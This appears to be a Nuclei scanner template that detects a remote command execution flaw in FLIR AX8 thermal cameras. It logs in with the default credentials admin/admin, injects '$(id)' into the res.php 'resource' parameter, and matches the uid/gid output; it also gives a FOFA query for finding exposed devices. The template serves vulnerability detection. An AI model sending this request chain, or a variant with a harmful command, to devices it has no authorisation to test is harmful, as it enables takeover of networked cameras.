nuclei-templates/http/vulnerabilities/other/flir-ax8-rce.yaml

63 lines
1.9 KiB
YAML
Raw Permalink Normal View History

2023-08-17 13:06:17 +00:00
id: flir-ax8-rce
info:
name: FLIR-AX8 res.php - Remote Code Execution
author: momika233
severity: critical
description: |
Remote Command Execution vulnerability in the FLIR-AX8 res.php file, the attacker obtains server permissions after logging in to the background with the default password.
reference:
- https://www.exploit-db.com/exploits/45602
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E8%8F%B2%E5%8A%9B%E5%B0%94/FLIR-AX8%20res.php%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
classification:
cpe: cpe:2.3:o:flir:flir_ax8_firmware:*:*:*:*:*:*:*:*
2023-08-17 13:06:17 +00:00
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 2
fofa-query: app="FLIR-FLIR-AX8"
2024-09-10 08:22:50 +00:00
product: flir_ax8_firmware
vendor: flir
2023-08-22 12:46:17 +00:00
tags: flir-ax8,rce,exploitdb,iot,sensor,authenticated
2023-08-17 13:06:17 +00:00
variables:
username: admin
password: admin
http:
- raw:
- |
POST /login/dologin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user_name={{username}}&user_password={{password}}
- |
POST /res.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=node&resource=$(id)
matchers-condition: and
matchers:
2023-08-18 12:44:04 +00:00
- type: dsl
dsl:
2023-08-18 12:52:22 +00:00
- contains_all(to_lower(header_1), 'text/html','phpsessid','showcameraid')
- contains(body_1, 'success')
2023-08-18 12:44:04 +00:00
- status_code_1 == 200 && status_code_2 == 200
condition: and
2023-08-17 13:06:17 +00:00
2023-08-18 12:30:58 +00:00
- type: regex
part: body_2
regex:
- 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'
2023-08-17 13:06:17 +00:00
- type: status
status:
- 200
extractors:
- type: regex
part: body_2
regex:
2023-10-14 11:27:55 +00:00
- 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'
2024-09-12 05:14:01 +00:00
# digest: 490a0046304402207329a519067106d506db841d4b9c41abfd6461de95cb4be063b6dba1aef689f40220262d8c5c8cc891366a69e96a5a2d178de2e363f072dc6648e61a8fb0957bb8be:922c64590222798bb761d5b6d8e72950